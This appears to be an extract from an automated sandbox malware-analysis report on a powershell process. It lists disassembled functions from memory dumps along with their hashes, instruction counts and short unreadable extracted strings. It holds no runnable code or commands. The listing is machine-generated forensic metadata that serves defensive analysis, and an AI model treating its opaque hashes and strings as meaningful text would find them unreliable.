Opcode Fuzzy Hash: 7254625860628f2e517379bbcd937e29584b727637aeb1449c58498b15e8ea1d
Instruction Fuzzy Hash: 5181F874A00208DFDB14CF58C588AAABBF2EB8C315F14C59AD915AB395C736EC41CF51

Function 07598930 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06419aff1aea4d2e78ca066df9e253eb676248a8b8146d87cafb9a27a52332b6
Instruction ID: 43452a4f27d3e8a36970019234b41f286e565ef9b3858ce578be5dd445cfa355
Opcode Fuzzy Hash: 06419aff1aea4d2e78ca066df9e253eb676248a8b8146d87cafb9a27a52332b6
Instruction Fuzzy Hash: 24713EB4A00209DFDB14CF58C584AAABBF2BF8A314F18856AD815AF345CB75BC41CB91

Function 046B38B8 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49dbdda389930e72c6d4f4e9e8b04064f54598e7ba9a4c24126f78c24eb450a0
Instruction ID: 638dea48dfe2d7523ac4d169228fb007dc435cd285ddab0b22d61d6df0b64f38
Opcode Fuzzy Hash: 49dbdda389930e72c6d4f4e9e8b04064f54598e7ba9a4c24126f78c24eb450a0
Instruction Fuzzy Hash: CF616B3560E3D25FC703DB2CC8A559A7FB0AF57250B0A40D7D5C5DF2A3D628984ACBA2

Function 075943D7 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaf08c95e0fb6f114239335f92e802cffe7f57a47623f951285a32e33cc1983e
Instruction ID: 601a52da060a834ec4128451ac1cd2613cd6d8bf6799374987edb39ab60480c0
Opcode Fuzzy Hash: eaf08c95e0fb6f114239335f92e802cffe7f57a47623f951285a32e33cc1983e
Instruction Fuzzy Hash: F251D5B050D3C29FDB17A77489165A2BFB1BF4320071D81EBD0898F1A3D6259C4BC326

Function 07598910 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ea80f2fbfabac86664c3fd02e3758ac0294ed20ebd4d06bd747e499d3550cf
Instruction ID: 9fe2ffaee18e4a58035aab2ea9675ea32da95ba639c3b5b41e0d16b44179a6ab
Opcode Fuzzy Hash: 54ea80f2fbfabac86664c3fd02e3758ac0294ed20ebd4d06bd747e499d3550cf
Instruction Fuzzy Hash: D6614DB4A00205DFDB15CF58C480AE9BBB2FF8A324F1885ABD8156B255CB35FC81CB91

Function 0759B115 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3975e3cd810db084be4049ce8faaaccb10950cc9f45ccc88f981854c9d075097
Instruction ID: 7f11f5d5f3505e210422754eedec5c6821ca88432ca12ebb4a21338f9a564e2e
Opcode Fuzzy Hash: 3975e3cd810db084be4049ce8faaaccb10950cc9f45ccc88f981854c9d075097
Instruction Fuzzy Hash: 984166F5B00141CBDF2597B8B5509EEBB93EFC5318F14857AD9169F382CA229C01C3A2

Function 046BE428 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b8a2e7387adca35884d5ac1d5aca39f676fa87f1ca39b11a451579a64791376
Instruction ID: 93265bb7566a882345bc620e7ae921a6b572b4da09153736f3d1fd603f5890dd
Opcode Fuzzy Hash: 3b8a2e7387adca35884d5ac1d5aca39f676fa87f1ca39b11a451579a64791376
Instruction Fuzzy Hash: 0D414D74A006098FCB05CF5CC584AEEBBB2FF49320F248559E955A73A5D736EC91CB90

Function 046BE417 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c7aa47d3ab876caa2ee3784a1f174fe1231d4b187716b8993aa68b37d0a2f96
Instruction ID: 6a3d898ffbb576d29b992210ebb65ae500a5f00f32665b442ed56a365a9cd67f
Opcode Fuzzy Hash: 5c7aa47d3ab876caa2ee3784a1f174fe1231d4b187716b8993aa68b37d0a2f96
Instruction Fuzzy Hash: 33412C75A005098FCB15CF5CC994AEEBBB2FF48310F248658E955AB3A5D336EC91CB90

Function 07599016 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa86e5dc808066a02ce89d4302b6f728b14ef9ba6d3c26a85ee24d4488c83dc1
Instruction ID: 868a54272b4cf43b3daaa832ce5629fdabfba3d491b45e4bacf1c837361f9154
Opcode Fuzzy Hash: fa86e5dc808066a02ce89d4302b6f728b14ef9ba6d3c26a85ee24d4488c83dc1
Instruction Fuzzy Hash: D131C9B4B00104AFD7189769C955FAEBAA3EFC5344F148069E8127F3D1CF76AC418B95

Function 046B9B01 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7dd0a3f718e83927ca63b19d9007aa344d5ae5c7476207fc5ff2e8bce529031
Instruction ID: ff80674e6dad275d8a756285152b9657534c497f4150ccde078c3f4187a918d4
Opcode Fuzzy Hash: e7dd0a3f718e83927ca63b19d9007aa344d5ae5c7476207fc5ff2e8bce529031
Instruction Fuzzy Hash: 43316B74A046058FCB00CF58C984AEAFBB1FF49310F258299DA55AB791D332FD85CB90

Function 07591FB4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7865c6b90ff7e3007c2b7226bd7f78382135054b72e7232c42039a0ac20efd1e
Instruction ID: ced2275f0b036a40aa4ba5eda8dfb176e19a0549fcec21d91dbfea8bb4018eb3
Opcode Fuzzy Hash: 7865c6b90ff7e3007c2b7226bd7f78382135054b72e7232c42039a0ac20efd1e
Instruction Fuzzy Hash: 1831F4F5A00246EFDF548F258A407FABBE6FF81250F18807BD8059B251D739D994CBA1

Function 046B9B03 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14bd2d32e2274ed77656f8de1888034678d73c727583ae7f9a22c4154ac485d5
Instruction ID: 26e3dfc255f3acc7364695f2ba4655acaf1c7c269fb6a8db37066e419cbd1bea
Opcode Fuzzy Hash: 14bd2d32e2274ed77656f8de1888034678d73c727583ae7f9a22c4154ac485d5
Instruction Fuzzy Hash: 30312974A005099FCB14CF5CC5849AEFBB2FF88310B258698EA59AB755C732FD91CB90

Function 046B4E78 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9425a6b72b17da711677a45eb2d6efb7750e2f91c70544e1445180a03b7915da
Instruction ID: 85cf089bd1ad34d61a5ea101113015f93fb865f71b1e174af7891bf58d220596
Opcode Fuzzy Hash: 9425a6b72b17da711677a45eb2d6efb7750e2f91c70544e1445180a03b7915da
Instruction Fuzzy Hash: 3E21F874A0060A9FCB10CF58C584AAAFBB1FF89310B158599E949AB752C735EC81CBA1

Function 046B45B1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 508db86e8d1ff6fff318fc8fcd33d4f76beba6ffd260ea7fc71ac6eef2633dc8
Instruction ID: 74203b9c06e32e826588c2d62286684e840f3772eb82792c33d332d5e2236fa2
Opcode Fuzzy Hash: 508db86e8d1ff6fff318fc8fcd33d4f76beba6ffd260ea7fc71ac6eef2633dc8
Instruction Fuzzy Hash: EB211674A006199FCB04CF89C9849AAFBB1FF89310B2581A9E949E7351D731FC81CFA0

Function 046B39D8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9a3e6059684b9d93aaa13610762f07aabb9e3439721fad0cb432a880b4b1712
Instruction ID: 5a943a92c97d2f31f39044bf8523462a5a2d9d52474b058b1c536681f583401a
Opcode Fuzzy Hash: d9a3e6059684b9d93aaa13610762f07aabb9e3439721fad0cb432a880b4b1712
Instruction Fuzzy Hash: 00212974A042598FCB00DF58C5809AABBB1FF89310B158496E905EB352D735FD45CBA1

Function 046B9AC1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dacaa2ba83173c21e628774ce90ed31c643c213e7552ea74506b3e6347eeffff
Instruction ID: 24e14bedec64276acf64a96449d18736bb6f85a2a6896a1b928bb4b53b4106ee
Opcode Fuzzy Hash: dacaa2ba83173c21e628774ce90ed31c643c213e7552ea74506b3e6347eeffff
Instruction Fuzzy Hash: DB2150746005059FCB14CF58C594AAAF7B2FF89320F258698D65AAB794C736FC86CB80

Function 02CED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878905588041.0000000002CED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2ced000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445d855977864221f6912e7b53d61f3f08fc9227ae0ec7d330f6854394cc8095
Instruction ID: c634d4b595d5b912103ce5626a838dd0e1f5e7c0e8e3eaadb25864fcc5e27135
Opcode Fuzzy Hash: 445d855977864221f6912e7b53d61f3f08fc9227ae0ec7d330f6854394cc8095
Instruction Fuzzy Hash: 2901A271405380AAEB104E2ACAC4B67FF9CDF81364F1C851AED4B4B686C7799986C6F1

Function 046B9AF8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ac5c7949ef5b419a7efec7a3b397f927d2793f5a1cb63dd5903aea3234badd
Instruction ID: dd18120615e485c8e3cb904411002a057b37773d0cc5dde9e992674cdd30f372
Opcode Fuzzy Hash: d9ac5c7949ef5b419a7efec7a3b397f927d2793f5a1cb63dd5903aea3234badd
Instruction Fuzzy Hash: 6F115775A005058FCB14CF48C5849EAF7B2FF88320B248698DA4AA7654D736FD95CB80

Function 02CED01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878905588041.0000000002CED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2ced000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d422bf2a955fe803bde9d36fe74ddf42ab23db6e87dd1a48ecd4f4b10c4e40b
Instruction ID: 2a5b33eaaf9a0e2ae4b4c4a4c4490f239771c43c97f62f18070feba5e028cb1b
Opcode Fuzzy Hash: 5d422bf2a955fe803bde9d36fe74ddf42ab23db6e87dd1a48ecd4f4b10c4e40b
Instruction Fuzzy Hash: 49F0C271404340AEEB108E19C9C4B63FFACEB81634F18C55AED490B286C3799985CAB1

Function 046BEAC0 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d2f63ba2c825900e95abe8a0787f8095cc05e738c71c0f1b532b86a611f7a9
Instruction ID: 6440aeacb25279dc2efe0753579c42cb31960edbd72cc426cf5a5cec54cc7648
Opcode Fuzzy Hash: 57d2f63ba2c825900e95abe8a0787f8095cc05e738c71c0f1b532b86a611f7a9
Instruction Fuzzy Hash: E8F01235A00018AFCB159B8CD9808EDF772FF88324B248159E955B7255C733AD52CB51

Function 046B2D5E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae4af28efe42ebe6bab3f654d0328a5b0f9e68440ec9249ec2a57da9c93fd638
Instruction ID: 7b25e2ba2a5ab978bc8ffb225bacea22e675a169cec62e1694ba672a37ca3c29
Opcode Fuzzy Hash: ae4af28efe42ebe6bab3f654d0328a5b0f9e68440ec9249ec2a57da9c93fd638
Instruction Fuzzy Hash: 35F0B735A001059FCB15CB9CD994AEEF7B1FF88324F208159E515A72A1C736A852CB50

Non-executed Functions

Function 046B82A8 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878906395585.00000000046B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_46b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebae6f7058c41c0197cf93c1ff0307d2b7debc1b19baecee183f14ee33fdadd8
Instruction ID: 8873d6f7170c77ac91cccfba6b629b20f303059f639c50aeca040146aa054fc5
Opcode Fuzzy Hash: ebae6f7058c41c0197cf93c1ff0307d2b7debc1b19baecee183f14ee33fdadd8
Instruction Fuzzy Hash: 40915871E003099FDF54DFA9C9857DEBBF6AF88304F148529E444AB394EB34A885CB81

Function 02CED8D0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.878905588041.0000000002CED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2ced000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff2f73aa6cde8e4c552a4c1cc6e0b1a3c319dad26be89c7b5684aa0985b5225b
Instruction ID: 3a11481443c67667bf9e26f5d58c6b9dd873b380d430bdc43c914440ab274475
Opcode Fuzzy Hash: ff2f73aa6cde8e4c552a4c1cc6e0b1a3c319dad26be89c7b5684aa0985b5225b
Instruction Fuzzy Hash: 76213575604240DFDF10CF18DEC0B26BBA9FBD4724F20C569D84B4B245CB3AD906C6A2

Function 07590BB0 Relevance: 18.0, Strings: 14, Instructions: 487COMMON

Download Yara Rule

Strings

4'7q, xrefs: 07590E3B
4'7q, xrefs: 07590D9B
tP7q, xrefs: 07590E99
4'7q, xrefs: 07590F13
(o7q, xrefs: 07591022
4'7q, xrefs: 07590CD8
4'7q, xrefs: 07590F23
4'7q, xrefs: 07590DAB
tP7q, xrefs: 07590EA5
4'7q, xrefs: 07590E4B
4'7q, xrefs: 07590CCC
(o7q, xrefs: 0759102E
tP7q, xrefs: 07590D23
tP7q, xrefs: 07590D2F

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: (o7q$(o7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$4'7q$tP7q$tP7q$tP7q$tP7q
API String ID: 0-3741282858
Opcode ID: 9850140fb63ced120cff92f3614b55f3cd9745e9ba3bee2cb8633d3c0f5548f8
Instruction ID: e43e4ee0239eaae7aac96fd9fe252e33eaec5a7154655febec68a7f8f68cced5
Opcode Fuzzy Hash: 9850140fb63ced120cff92f3614b55f3cd9745e9ba3bee2cb8633d3c0f5548f8
Instruction Fuzzy Hash: B002D5B5B0021ADFCF158F58C554AEEBBA2FF85314F14886AE9199B381CB36DC41CB91

Function 0759DE75 Relevance: 14.0, Strings: 11, Instructions: 291COMMON

Download Yara Rule

Strings

4'7q, xrefs: 0759E174
tP7q, xrefs: 0759DFA1
(=q, xrefs: 0759E0C6
(=q, xrefs: 0759E105
tP7q, xrefs: 0759E0A8
tP7q, xrefs: 0759E09C
(=q, xrefs: 0759E062
$7q, xrefs: 0759DECD
4'7q, xrefs: 0759E180
tP7q, xrefs: 0759DFAD
(=q, xrefs: 0759E0D0

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: 4'7q$4'7q$tP7q$tP7q$tP7q$tP7q$$7q$(=q$(=q$(=q$(=q
API String ID: 0-565116643
Opcode ID: f31aeaf6c06690b9c4b90ae69394406b76b63a55b04dbbb1455320a2eb5bfe11
Instruction ID: de8f3ce63eb22089e3ac993217c13cca006a629aaa2823aff414153b139771cf
Opcode Fuzzy Hash: f31aeaf6c06690b9c4b90ae69394406b76b63a55b04dbbb1455320a2eb5bfe11
Instruction Fuzzy Hash: 85A1D6B5B00216DFCF25CA69C6457EABBB2BB85314F24847BE8059B381DB36DC41C792

Function 0759E8F5 Relevance: 7.7, Strings: 6, Instructions: 194COMMON

Download Yara Rule

Strings

tP7q, xrefs: 0759E9E0
XR<q, xrefs: 0759EA75
$7q, xrefs: 0759E94D
XR<q, xrefs: 0759EA65
XR<q, xrefs: 0759E931
tP7q, xrefs: 0759E9D4

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: XR<q$XR<q$XR<q$tP7q$tP7q$$7q
API String ID: 0-160274573
Opcode ID: 810e23db738a20ddfad9b726f2f685320012860df0f1281cea59f95b57eeb360
Instruction ID: d3bfd0230e68f73c054f7ab08fa0eaba00153ff977b6ec00e816e19901c34b05
Opcode Fuzzy Hash: 810e23db738a20ddfad9b726f2f685320012860df0f1281cea59f95b57eeb360
Instruction Fuzzy Hash: 6861F3B6B001058FCF65CB688645AAABBA2BF85310F24C47AE9559B291CF36DC41C7A1

Function 07591450 Relevance: 6.5, Strings: 5, Instructions: 291COMMON

Download Yara Rule

Strings

tP7q, xrefs: 075916A4
4'7q, xrefs: 0759153C
4'7q, xrefs: 07591530
tP7q, xrefs: 075916B0
tP7q, xrefs: 07591614

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: 4'7q$4'7q$tP7q$tP7q$tP7q
API String ID: 0-789845615
Opcode ID: 9ff906b8ebddaecb4ca43af2fa0ef0ff74ba53da0240c894fa728b700e104dc2
Instruction ID: 67419be5324180f1048ed75b4edfe95fa506621835748bb88215c277789578ee
Opcode Fuzzy Hash: 9ff906b8ebddaecb4ca43af2fa0ef0ff74ba53da0240c894fa728b700e104dc2
Instruction Fuzzy Hash: 6EA15CB5B042ABDFCF118B68D5406EABBB2BFC6210F1884BBC556CF241DA35D840C7A1

Function 0759535D Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

$7q, xrefs: 075953DB
4'7q, xrefs: 0759541C
$7q, xrefs: 07595397
4'7q, xrefs: 07595410
$7q, xrefs: 075953CF

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: 4'7q$4'7q$$7q$$7q$$7q
API String ID: 0-2833837446
Opcode ID: 3a66550d14efd6719bc67c1fac0cf3ddfbc27cbc63e9d1815c09a95c197b28f8
Instruction ID: 942f764d923aae8872bc7af7ccd210673048bd12e6175dc1ce3e7aa88db5cc45
Opcode Fuzzy Hash: 3a66550d14efd6719bc67c1fac0cf3ddfbc27cbc63e9d1815c09a95c197b28f8
Instruction Fuzzy Hash: FC315ABAB0024ACFDF270A2495805F6B7A1FFC1215B38847BC9498B2C1FA3AC435C751

Function 08B02DF0 Relevance: 6.3, Strings: 5, Instructions: 77COMMON

Download Yara Rule

Strings

$7q, xrefs: 08B02E24
$7q, xrefs: 08B02E40
$7q, xrefs: 08B02E5F
$7q, xrefs: 08B02E08
tP7q, xrefs: 08B02EA4

Memory Dump Source

Source File: 0000000D.00000002.878919355754.0000000008B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b00000_powershell.jbxd

Similarity

API ID:
String ID: tP7q$$7q$$7q$$7q$$7q
API String ID: 0-3531082039
Opcode ID: ff4c64f2fc34af216236bf450e4e5cf5620733bfc6dd3c20a8939a3fd0d62d63
Instruction ID: b7ea33826f2fdd356f6357d6db9811e2d7238385e0a392c75fd367bd29c33615
Opcode Fuzzy Hash: ff4c64f2fc34af216236bf450e4e5cf5620733bfc6dd3c20a8939a3fd0d62d63
Instruction Fuzzy Hash: 8521D636A40214CFDB268E59C588976BBB4EF44612F1541EEE828AB391C731DD48CFA1

Function 0759CF88 Relevance: 5.5, Strings: 4, Instructions: 473COMMON

Download Yara Rule

Strings

(o7q, xrefs: 0759D07E
(o7q, xrefs: 0759D06E
(o7q, xrefs: 0759D3C1
(o7q, xrefs: 0759D3B1

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: (o7q$(o7q$(o7q$(o7q
API String ID: 0-2018135146
Opcode ID: 2cb5e1eda53bffa505f8b1027f7f038e6312460ad7c39abca3f3f624b5e9f8b0
Instruction ID: 25aa641ab639fc506040169c12344191aa91231ba4c3cb3f04e1e871812c55de
Opcode Fuzzy Hash: 2cb5e1eda53bffa505f8b1027f7f038e6312460ad7c39abca3f3f624b5e9f8b0
Instruction Fuzzy Hash: 05F100B5704345DFDF158F68C8407EABBB2BF81211F1884BBE9168B281DB36D845CB61

Function 08B053DD Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

tP7q, xrefs: 08B05638
tP7q, xrefs: 08B0554A
tP7q, xrefs: 08B05644
tP7q, xrefs: 08B0553E

Memory Dump Source

Source File: 0000000D.00000002.878919355754.0000000008B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b00000_powershell.jbxd

Similarity

API ID:
String ID: tP7q$tP7q$tP7q$tP7q
API String ID: 0-147015873
Opcode ID: 945af51e2934c3527909033a52c012bf29dead0207838d2f9c6b99ebe9fd1123
Instruction ID: 717613ea1c78165009782134ec1ffbe290d2d36d7e26c41701f63442a649f64f
Opcode Fuzzy Hash: 945af51e2934c3527909033a52c012bf29dead0207838d2f9c6b99ebe9fd1123
Instruction Fuzzy Hash: 4EC19334B00219DFCB258E5CC5546AA7FA2FF84356F1484ADE912AB6D1CB36EC41CFA1

Function 07590B93 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

4'7q, xrefs: 07590E3B
tP7q, xrefs: 07590E99
4'7q, xrefs: 07590CCC
tP7q, xrefs: 07590D23

Memory Dump Source

Source File: 0000000D.00000002.878915276314.0000000007590000.00000040.00000800.00020000.00000000.sdmp, Offset: 07590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7590000_powershell.jbxd

Similarity

API ID:
String ID: 4'7q$4'7q$tP7q$tP7q
API String ID: 0-3954423784
Opcode ID: 6d9e39c06543e68084e0584bf722c2e13b83d2ceeb934ce46dd61c00fa6f4b70
Instruction ID: c10d70eee23a489d36edc01917466bd25600e109e7c9b43b03d868b3c7f2a967
Opcode Fuzzy Hash: 6d9e39c06543e68084e0584bf722c2e13b83d2ceeb934ce46dd61c00fa6f4b70
Instruction Fuzzy Hash: 8AA171B5A0025ADFCF24CF48C584AE9FBB2FF45714F19886AE5099B291D336EC81CB41

Function 08B03515 Relevance: 5.3, Strings: 4, Instructions: 254COMMON

Download Yara Rule

Strings

tP7q, xrefs: 08B03600
tP7q, xrefs: 08B0360C
tP7q, xrefs: 08B036FA
tP7q, xrefs: 08B03706

Memory Dump Source

Source File: 0000000D.00000002.878919355754.0000000008B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b00000_powershell.jbxd

Similarity

API ID:
String ID: tP7q$tP7q$tP7q$tP7q
API String ID: 0-147015873
Opcode ID: 28a4450680a4a7ae985a60dacaa1c342555fa80e352c6e1542ed6f8f68a82901
Instruction ID: 0da04c5ec69419462741307b569005f78f37cbc0f161fec77df7c1e2175474cb
Opcode Fuzzy Hash: 28a4450680a4a7ae985a60dacaa1c342555fa80e352c6e1542ed6f8f68a82901
Instruction Fuzzy Hash: A891C035B00204DFCB258A5DC658A6ABFE2EF88315F1884ADD8569B3D1CB36EC41CF91

Function 08B00298 Relevance: 5.2, Strings: 4, Instructions: 187COMMON

Download Yara Rule

Strings

4'7q, xrefs: 08B004E4
4'7q, xrefs: 08B00456
4'7q, xrefs: 08B00440
4'7q, xrefs: 08B004FA

Memory Dump Source

Source File: 0000000D.00000002.878919355754.0000000008B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8b00000_powershell.jbxd

Similarity

API ID:
String ID: 4'7q$4'7q$4'7q$4'7q
API String ID: 0-1495141006
Opcode ID: 067946e56eb1602243b9ecd1394c5da3ec53ca69ca9b59a04da05b99b83ae85d
Instruction ID: f1eb22ba8dfeb1f45dc1f916277b8b1ab4902b2378c4e58034cdf17933450b1c
Opcode Fuzzy Hash: 067946e56eb1602243b9ecd1394c5da3ec53ca69ca9b59a04da05b99b83ae85d
Instruction Fuzzy Hash: 04817C74A40219DFDB14DB24CE94BEABBB2AF85304F5085E8D4096F382CB35AD81CF91

Function 075923A8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

